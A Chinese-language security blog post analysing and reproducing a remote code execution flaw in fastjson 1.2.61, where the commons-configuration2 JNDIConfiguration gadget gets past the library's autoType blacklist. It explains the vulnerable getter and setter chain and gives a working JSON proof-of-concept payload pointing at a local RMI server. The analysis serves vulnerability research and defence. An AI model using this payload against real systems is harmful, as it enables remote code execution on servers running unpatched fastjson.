I am a slow walker, but I never walk backwards.

fastjson 1.2.61远程代码执行漏洞分析&复现

Posted on By Curz0n

0x00 前言

9月19日fastjson官方发布了1.2.61新版本,增加了autoType安全黑名单。但是新版本刚发布不到一周时间,又有大佬bypass其黑名单,成功绕过了安全防护,可以利用fastjson反序列化特性造成RCE。从漏洞公布的poc可知这次gadget是commons-configuration组件,该组件是java应用程序的配置管理类,用于协助管理各种格式的配置文件。

0x01 影响版本

fastjson: version <= 1.2.61,目前官方还没发布补丁,通杀所有版本。

0x02 漏洞分析

造成漏洞的根因是fastjson反序列化JSON字符串时,会自动调用构造方法和get/setXXX方法,下面看一段fastjson反序列化JSON串的测试代码,先定义User类:

package com.blacklist.test;

public class User {

    User(){
        System.out.println("构造方法被自动调用!");
    }

    private int age;
    private String name;
    private String address;

    public String getAddress() {
        System.out.println("getAddress方法被自动调用!");
        return address;
    }
    public void setAddress(String address) {
        System.out.println("setAddress方法被自动调用!");
        this.address = address;
    }
    public int getAge() {
        System.out.println("getAge方法被自动调用!");
        return age;
    }
    public void setAge(int age) {
        System.out.println("setAge方法被自动调用!");
        this.age = age;
    }
    public String getName() {
        System.out.println("getName方法被自动调用!");
        return name;
    }
    public void setName(String name) {
        System.out.println("setName方法被自动调用!");
        this.name = name;
    }
    //一个拥有返回值的get方法
    public String getTest(){
        System.out.println("getTest方法被自动调用!");
        return null;
    }
}

使用fastjson反序列化一段JSON字符串成User对象:

package com.blacklist.test;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.ParserConfig;

public class ExploitMain {

    public static void main(String[] args) {
        //使用@type指定该JSON字符串应该还原成何种类型的对象
        String userInfo = "{\"@type\":\"com.blacklist.test.User\",\"name\":\"curz0n\", \"age\":18}";
        //开启setAutoTypeSupport支持autoType
        ParserConfig.global.setAutoTypeSupport(true);
        //反序列化成User对象
        JSONObject user = JSON.parseObject(userInfo);
    }
}

执行代码,输出结果如下:

构造方法被自动调用!
setName方法被自动调用!
setAge方法被自动调用!
getAddress方法被自动调用!
getAge方法被自动调用!
getName方法被自动调用!
getTest方法被自动调用!

可以看见fastjson反序列化字符串时会依次自动调用对象的构造方法,setXXX方法,getXXX方法。注意,被反序列化的字符串中没有address和getTest方法的相关的要素,但是fastjson依然自动调用了get方法。如果这些get/setXXX方法里面存在JNDI Reference注入漏洞(这部分知识详情可参考笔者发布的上一篇文章《CVE-2019-14540远程代码执行漏洞分析&复现》),那就可以借助fastjson的特性执行我们指定的任意代码,造成RCE。
从公布的poc可知这次利用的gadget是commons-configuration组件的org.apache.commons.configuration2.JNDIConfiguration.setPrefix(final String prefix)方法,源码如下:

    public void setPrefix(final String prefix)
    {
        this.prefix = prefix;

        // clear the previous baseContext
        baseContext = null;
    }

setPrefix方法就是初始化成员变量,并使baseContext等于null,逻辑很简单,看不出任何问题。那我们就先看一下JNDIConfiguration的构造方法,无参构造方法调用带1个参数的构造方法,然后new一个InitialContext对象,调用带有2个参数的构造方法,代码如下所示:

    public JNDIConfiguration(final String prefix) throws NamingException
    {
        this(new InitialContext(), prefix);
    }

带两个参数的构造方法详情如下,把InitialContext对象赋值给成员变量context:

    public JNDIConfiguration(final Context context, final String prefix)
    {
        this.context = context; //new InitialContext()
        this.prefix = prefix;
        initLogger(new ConfigurationLogger(JNDIConfiguration.class));
        addErrorLogListener();
    }

接着分析代码,看哪里调用了context变量,最后定位到getBaseContext方法,代码详情如下:

    public Context getBaseContext() throws NamingException
    {
        if (baseContext == null)
        {
            baseContext = (Context) getContext().lookup(prefix == null ? "" : prefix);
        }

        return baseContext;
    }

因为在setPrefix方法中设置了baseContext等于null,所以会进入if判断,接着getContext方法返回InitialContext对象,并调用lookup方法,其传入的参数变量正好是setPrefix方法设置的参数变量,可以被用户控制,这是典型的JNDI Reference注入漏洞的代码特征。因为fastjson特性,会自动调用具有返回值的getXXX方法,所以可以断定getBaseContext方法可以造成远程代码执行漏洞。

0x03 漏洞复现

环境准备

Eclipse工程结构如下:

Configuration2_Gadget
│  .classpath
│  .project
│
├─.settings
│      org.eclipse.jdt.core.prefs
│
├─bin
│  └─com
│      └─fastjson1261
│              ExploitMain.class
│
├─libs
│      commons-configuration2-2.6.jar  //https://www-eu.apache.org/dist//commons/configuration/binaries/commons-configuration2-2.6-bin.zip
│      commons-lang3-3.9.jar  //https://www-eu.apache.org/dist//commons/lang/binaries/commons-lang3-3.9-bin.zip
│      commons-logging-1.2.jar  //https://www-us.apache.org/dist//commons/logging/binaries/commons-logging-1.2-bin.zip
│      commons-text-1.8.jar  //https://www-eu.apache.org/dist//commons/text/binaries/commons-text-1.8-bin.zip
│      fastjson-1.2.61.jar  //http://repo1.maven.org/maven2/com/alibaba/fastjson/
│
└─src
    └─com
        └─fastjson1261
                ExploitMain.java

POC

根据前面的漏洞分析,构造基于rmi协议的poc如下:

String poc = "{\"@type\":\"org.apache.commons.configuration2.JNDIConfiguration\",\"prefix\":\"rmi://127.0.0.1:1099/Exploit-SERVER\"}";

启动RMI服务器,执行poc,熟悉的计算器应用被打开:

0x04 结语

开源项目fastjson-blacklist工程记录了fastjson黑名单的明文信息,可以看见在fastjson 1.2.61版本中过滤了 version 1.x老版本的org.apache.commons.configuration.JNDIConfiguration,而这次利用的gadget是Apache Commons Configuration version 2.x新版本,其包名变成了org.apache.commons.configuration2,从而绕过了黑名单防护。

References:

FastJson 1.2.61远程代码执行漏洞(From第三方jar包)

版权声明:转载请注明出处,谢谢。https://github.com/curz0n